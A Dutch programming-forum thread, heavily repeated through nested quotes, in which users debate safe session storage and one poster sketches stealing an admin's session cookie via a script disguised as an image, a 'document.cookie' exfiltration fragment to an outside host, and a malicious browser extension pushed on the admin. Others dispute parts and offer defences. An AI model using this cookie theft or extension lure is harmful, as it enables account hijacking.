Het Wat heb jij vandaag geprogrammeerd? topic

Jordyt schreef:

Eerdere citaten tonen

Sevvlor schreef:

Afbeelding

Zien alle Twittergebruikers dit dan? :#

Xjessex schreef:

Twitter dm

Xjessex schreef:

Twitter dm Faalt enorm hard.
Waarom gebruik je niet zon pushapp?

Xjessex schreef:

Eerdere citaten tonen

Dionc schreef:

Waarom sla je de gebruikersnaam op in een session?

Je kan het beste de id gebruiken

Eh nee.
Dat is best onveilig
Altijd hash gebruiken welke moeilijk te raden is.

Stel, jouw website slaat je user id in een sessie.
Het is bèst makkelijk om achter een user id te komen op menig website.
En als ik ergens op jouw website een url tussen img tags zet, bijvoorbeeld
//reitsma.co/image.jpg
image.jpg kan bijvoorbeeld een script bevatten, en met rewrite url (nginx config of htaccess) kan je het bestand heel eenvoudig image.jpg noemen.

Als jij als admin nou mijn plaatje ziet, bijvoorbeeld in een privebericht of op het forum dan doe jij een request naar image.jpg
image.jpg is dan eigenlijk een script, met de headers van een image (en om het onschuldig te laten lijken geeft hij als output ook een image)
Wat dat script doet is jouw cookie opslaan (document.cookie) welke ook het PHPSESSIONID bevat, dan verander je jouw PHPSESSIONID cookie in dat van die admin op die website, en je hebt toegang tot de $_SESSION van de admin.

Wat je dus moet doen is, een hash als cookie of sessie gebruiken, en élke pageview moet je die hash selecteren uit de database en kijken of het ip adres + useragent gelijk is aan dat van de bezoeker dat de hash heeft.
Zo niet: direct uitloggen. (Niet direct blokkeren, kan zijn dat hij zijn browser geüpdatet heeft)

document.cookie kan je niet zomaar op alle websites uitvoeren, als een website overal beveiligd is tegen xss kan je altijd nog een browser extension maken (bijvoorbeeld voor chrome) en de admin deze laten installeren.
"Kijk eens, ik heb een coole make-over voor je website gemaakt, wat vind je?"
Veel mensen installeren dit wel, en na de eerste pageview heb jij dus als zijn cookies voor die website. Fuck u xss beveiliging.

Antonn schreef:

Eerdere citaten tonen

Xjessex schreef:

Eerdere citaten tonen

Dionc schreef:

Waarom sla je de gebruikersnaam op in een session?

Je kan het beste de id gebruiken

Eh nee.
Dat is best onveilig
Altijd hash gebruiken welke moeilijk te raden is.

Stel, jouw website slaat je user id in een sessie.
Het is bèst makkelijk om achter een user id te komen op menig website.
En als ik ergens op jouw website een url tussen img tags zet, bijvoorbeeld
//reitsma.co/image.jpg
image.jpg kan bijvoorbeeld een script bevatten, en met rewrite url (nginx config of htaccess) kan je het bestand heel eenvoudig image.jpg noemen.

Als jij als admin nou mijn plaatje ziet, bijvoorbeeld in een privebericht of op het forum dan doe jij een request naar image.jpg
image.jpg is dan eigenlijk een script, met de headers van een image (en om het onschuldig te laten lijken geeft hij als output ook een image)
Wat dat script doet is jouw cookie opslaan (document.cookie) welke ook het PHPSESSIONID bevat, dan verander je jouw PHPSESSIONID cookie in dat van die admin op die website, en je hebt toegang tot de $_SESSION van de admin.

Wat je dus moet doen is, een hash als cookie of sessie gebruiken, en élke pageview moet je die hash selecteren uit de database en kijken of het ip adres + useragent gelijk is aan dat van de bezoeker dat de hash heeft.
Zo niet: direct uitloggen. (Niet direct blokkeren, kan zijn dat hij zijn browser geüpdatet heeft)

document.cookie kan je niet zomaar op alle websites uitvoeren, als een website overal beveiligd is tegen xss kan je altijd nog een browser extension maken (bijvoorbeeld voor chrome) en de admin deze laten installeren.
"Kijk eens, ik heb een coole make-over voor je website gemaakt, wat vind je?"
Veel mensen installeren dit wel, en na de eerste pageview heb jij dus als zijn cookies voor die website. Fuck u xss beveiliging.

Cookies worden niet meegestuurd naar externe afbeeldingen op een website.

Xjessex schreef:

Eerdere citaten tonen

Antonn schreef:

Eerdere citaten tonen

Xjessex schreef:

Eerdere citaten tonen

Dionc schreef:

Waarom sla je de gebruikersnaam op in een session?

Je kan het beste de id gebruiken

Eh nee.
Dat is best onveilig
Altijd hash gebruiken welke moeilijk te raden is.

Stel, jouw website slaat je user id in een sessie.
Het is bèst makkelijk om achter een user id te komen op menig website.
En als ik ergens op jouw website een url tussen img tags zet, bijvoorbeeld
//reitsma.co/image.jpg
image.jpg kan bijvoorbeeld een script bevatten, en met rewrite url (nginx config of htaccess) kan je het bestand heel eenvoudig image.jpg noemen.

Als jij als admin nou mijn plaatje ziet, bijvoorbeeld in een privebericht of op het forum dan doe jij een request naar image.jpg
image.jpg is dan eigenlijk een script, met de headers van een image (en om het onschuldig te laten lijken geeft hij als output ook een image)
Wat dat script doet is jouw cookie opslaan (document.cookie) welke ook het PHPSESSIONID bevat, dan verander je jouw PHPSESSIONID cookie in dat van die admin op die website, en je hebt toegang tot de $_SESSION van de admin.

Wat je dus moet doen is, een hash als cookie of sessie gebruiken, en élke pageview moet je die hash selecteren uit de database en kijken of het ip adres + useragent gelijk is aan dat van de bezoeker dat de hash heeft.
Zo niet: direct uitloggen. (Niet direct blokkeren, kan zijn dat hij zijn browser geüpdatet heeft)

document.cookie kan je niet zomaar op alle websites uitvoeren, als een website overal beveiligd is tegen xss kan je altijd nog een browser extension maken (bijvoorbeeld voor chrome) en de admin deze laten installeren.
"Kijk eens, ik heb een coole make-over voor je website gemaakt, wat vind je?"
Veel mensen installeren dit wel, en na de eerste pageview heb jij dus als zijn cookies voor die website. Fuck u xss beveiliging.

Cookies worden niet meegestuurd naar externe afbeeldingen op een website.

Je haalt de image op die website.
Dus image.jpg?c="+document.cookie();

Smiegles schreef:

Eerdere citaten tonen

Xjessex schreef:

Eerdere citaten tonen

Antonn schreef:

Eerdere citaten tonen

Xjessex schreef:

Eerdere citaten tonen

Dionc schreef:

Waarom sla je de gebruikersnaam op in een session?

Je kan het beste de id gebruiken

Eh nee.
Dat is best onveilig
Altijd hash gebruiken welke moeilijk te raden is.

Stel, jouw website slaat je user id in een sessie.
Het is bèst makkelijk om achter een user id te komen op menig website.
En als ik ergens op jouw website een url tussen img tags zet, bijvoorbeeld
//reitsma.co/image.jpg
image.jpg kan bijvoorbeeld een script bevatten, en met rewrite url (nginx config of htaccess) kan je het bestand heel eenvoudig image.jpg noemen.

Als jij als admin nou mijn plaatje ziet, bijvoorbeeld in een privebericht of op het forum dan doe jij een request naar image.jpg
image.jpg is dan eigenlijk een script, met de headers van een image (en om het onschuldig te laten lijken geeft hij als output ook een image)
Wat dat script doet is jouw cookie opslaan (document.cookie) welke ook het PHPSESSIONID bevat, dan verander je jouw PHPSESSIONID cookie in dat van die admin op die website, en je hebt toegang tot de $_SESSION van de admin.

Wat je dus moet doen is, een hash als cookie of sessie gebruiken, en élke pageview moet je die hash selecteren uit de database en kijken of het ip adres + useragent gelijk is aan dat van de bezoeker dat de hash heeft.
Zo niet: direct uitloggen. (Niet direct blokkeren, kan zijn dat hij zijn browser geüpdatet heeft)

document.cookie kan je niet zomaar op alle websites uitvoeren, als een website overal beveiligd is tegen xss kan je altijd nog een browser extension maken (bijvoorbeeld voor chrome) en de admin deze laten installeren.
"Kijk eens, ik heb een coole make-over voor je website gemaakt, wat vind je?"
Veel mensen installeren dit wel, en na de eerste pageview heb jij dus als zijn cookies voor die website. Fuck u xss beveiliging.

Cookies worden niet meegestuurd naar externe afbeeldingen op een website.

Je haalt de image op die website.
Dus image.jpg?c="+document.cookie();

Dan moet je wel een XSS lek hebben.

Pepijnownt schreef:

Kan bijvoorbeeld in
Codeblok (voorbeeld.php):

Thom schreef:

Eerdere citaten tonen

Pepijnownt schreef:

Kan bijvoorbeeld in

Codeblok (voorbeeld.php):

Xjessex schreef:

Eerdere citaten tonen

Smiegles schreef:

Eerdere citaten tonen

Xjessex schreef:

Eerdere citaten tonen

Antonn schreef:

Eerdere citaten tonen

Xjessex schreef:

Eerdere citaten tonen

Dionc schreef:

Waarom sla je de gebruikersnaam op in een session?

Je kan het beste de id gebruiken

Eh nee.
Dat is best onveilig
Altijd hash gebruiken welke moeilijk te raden is.

Stel, jouw website slaat je user id in een sessie.
Het is bèst makkelijk om achter een user id te komen op menig website.
En als ik ergens op jouw website een url tussen img tags zet, bijvoorbeeld
//reitsma.co/image.jpg
image.jpg kan bijvoorbeeld een script bevatten, en met rewrite url (nginx config of htaccess) kan je het bestand heel eenvoudig image.jpg noemen.

Als jij als admin nou mijn plaatje ziet, bijvoorbeeld in een privebericht of op het forum dan doe jij een request naar image.jpg
image.jpg is dan eigenlijk een script, met de headers van een image (en om het onschuldig te laten lijken geeft hij als output ook een image)
Wat dat script doet is jouw cookie opslaan (document.cookie) welke ook het PHPSESSIONID bevat, dan verander je jouw PHPSESSIONID cookie in dat van die admin op die website, en je hebt toegang tot de $_SESSION van de admin.

Wat je dus moet doen is, een hash als cookie of sessie gebruiken, en élke pageview moet je die hash selecteren uit de database en kijken of het ip adres + useragent gelijk is aan dat van de bezoeker dat de hash heeft.
Zo niet: direct uitloggen. (Niet direct blokkeren, kan zijn dat hij zijn browser geüpdatet heeft)

document.cookie kan je niet zomaar op alle websites uitvoeren, als een website overal beveiligd is tegen xss kan je altijd nog een browser extension maken (bijvoorbeeld voor chrome) en de admin deze laten installeren.
"Kijk eens, ik heb een coole make-over voor je website gemaakt, wat vind je?"
Veel mensen installeren dit wel, en na de eerste pageview heb jij dus als zijn cookies voor die website. Fuck u xss beveiliging.

Cookies worden niet meegestuurd naar externe afbeeldingen op een website.

Je haalt de image op die website.
Dus image.jpg?c="+document.cookie();

Dan moet je wel een XSS lek hebben.

Of, zoals ik al uitlegde, een sneaky browser extension maken die de image inlaad (onzichtbaar) en de cookie verstuurd.

Lennard schreef:

Eerdere citaten tonen

Xjessex schreef:

Eerdere citaten tonen

Smiegles schreef:

Eerdere citaten tonen

Xjessex schreef:

Eerdere citaten tonen

Antonn schreef:

Eerdere citaten tonen

Xjessex schreef:

Eerdere citaten tonen

Dionc schreef:

Waarom sla je de gebruikersnaam op in een session?

Je kan het beste de id gebruiken

Eh nee.
Dat is best onveilig
Altijd hash gebruiken welke moeilijk te raden is.

Stel, jouw website slaat je user id in een sessie.
Het is bèst makkelijk om achter een user id te komen op menig website.
En als ik ergens op jouw website een url tussen img tags zet, bijvoorbeeld
//reitsma.co/image.jpg
image.jpg kan bijvoorbeeld een script bevatten, en met rewrite url (nginx config of htaccess) kan je het bestand heel eenvoudig image.jpg noemen.

Als jij als admin nou mijn plaatje ziet, bijvoorbeeld in een privebericht of op het forum dan doe jij een request naar image.jpg
image.jpg is dan eigenlijk een script, met de headers van een image (en om het onschuldig te laten lijken geeft hij als output ook een image)
Wat dat script doet is jouw cookie opslaan (document.cookie) welke ook het PHPSESSIONID bevat, dan verander je jouw PHPSESSIONID cookie in dat van die admin op die website, en je hebt toegang tot de $_SESSION van de admin.

Wat je dus moet doen is, een hash als cookie of sessie gebruiken, en élke pageview moet je die hash selecteren uit de database en kijken of het ip adres + useragent gelijk is aan dat van de bezoeker dat de hash heeft.
Zo niet: direct uitloggen. (Niet direct blokkeren, kan zijn dat hij zijn browser geüpdatet heeft)

document.cookie kan je niet zomaar op alle websites uitvoeren, als een website overal beveiligd is tegen xss kan je altijd nog een browser extension maken (bijvoorbeeld voor chrome) en de admin deze laten installeren.
"Kijk eens, ik heb een coole make-over voor je website gemaakt, wat vind je?"
Veel mensen installeren dit wel, en na de eerste pageview heb jij dus als zijn cookies voor die website. Fuck u xss beveiliging.

Cookies worden niet meegestuurd naar externe afbeeldingen op een website.

Je haalt de image op die website.
Dus image.jpg?c="+document.cookie();

Dan moet je wel een XSS lek hebben.

Of, zoals ik al uitlegde, een sneaky browser extension maken die de image inlaad (onzichtbaar) en de cookie verstuurd.

Daarom ook nooit extensies gebruiken voor je eigen site, of in ieder geval de code napluizen of zorgen dat je niet bent ingelogd als je m geinstalleerd hebt.

En nooit inloggen als mensen links van je eigen site naar je sturen en je ineens niet meer bent ingelogd.

Smiegles schreef:

Eerdere citaten tonen

Lennard schreef:

Eerdere citaten tonen

Xjessex schreef:

Eerdere citaten tonen

Smiegles schreef:

Eerdere citaten tonen

Xjessex schreef:

Eerdere citaten tonen

Antonn schreef:

Eerdere citaten tonen

Xjessex schreef:

Eerdere citaten tonen

Dionc schreef:

Waarom sla je de gebruikersnaam op in een session?

Je kan het beste de id gebruiken

Eh nee.
Dat is best onveilig
Altijd hash gebruiken welke moeilijk te raden is.

Stel, jouw website slaat je user id in een sessie.
Het is bèst makkelijk om achter een user id te komen op menig website.
En als ik ergens op jouw website een url tussen img tags zet, bijvoorbeeld
//reitsma.co/image.jpg
image.jpg kan bijvoorbeeld een script bevatten, en met rewrite url (nginx config of htaccess) kan je het bestand heel eenvoudig image.jpg noemen.

Als jij als admin nou mijn plaatje ziet, bijvoorbeeld in een privebericht of op het forum dan doe jij een request naar image.jpg
image.jpg is dan eigenlijk een script, met de headers van een image (en om het onschuldig te laten lijken geeft hij als output ook een image)
Wat dat script doet is jouw cookie opslaan (document.cookie) welke ook het PHPSESSIONID bevat, dan verander je jouw PHPSESSIONID cookie in dat van die admin op die website, en je hebt toegang tot de $_SESSION van de admin.

Wat je dus moet doen is, een hash als cookie of sessie gebruiken, en élke pageview moet je die hash selecteren uit de database en kijken of het ip adres + useragent gelijk is aan dat van de bezoeker dat de hash heeft.
Zo niet: direct uitloggen. (Niet direct blokkeren, kan zijn dat hij zijn browser geüpdatet heeft)

document.cookie kan je niet zomaar op alle websites uitvoeren, als een website overal beveiligd is tegen xss kan je altijd nog een browser extension maken (bijvoorbeeld voor chrome) en de admin deze laten installeren.
"Kijk eens, ik heb een coole make-over voor je website gemaakt, wat vind je?"
Veel mensen installeren dit wel, en na de eerste pageview heb jij dus als zijn cookies voor die website. Fuck u xss beveiliging.

Cookies worden niet meegestuurd naar externe afbeeldingen op een website.

Je haalt de image op die website.
Dus image.jpg?c="+document.cookie();

Dan moet je wel een XSS lek hebben.

Of, zoals ik al uitlegde, een sneaky browser extension maken die de image inlaad (onzichtbaar) en de cookie verstuurd.

Daarom ook nooit extensies gebruiken voor je eigen site, of in ieder geval de code napluizen of zorgen dat je niet bent ingelogd als je m geinstalleerd hebt.

En nooit inloggen als mensen links van je eigen site naar je sturen en je ineens niet meer bent ingelogd.

Een sneaky browser extensie kan je ook gewoon naaien met een goed sessie systeem dus dat is het punt niet.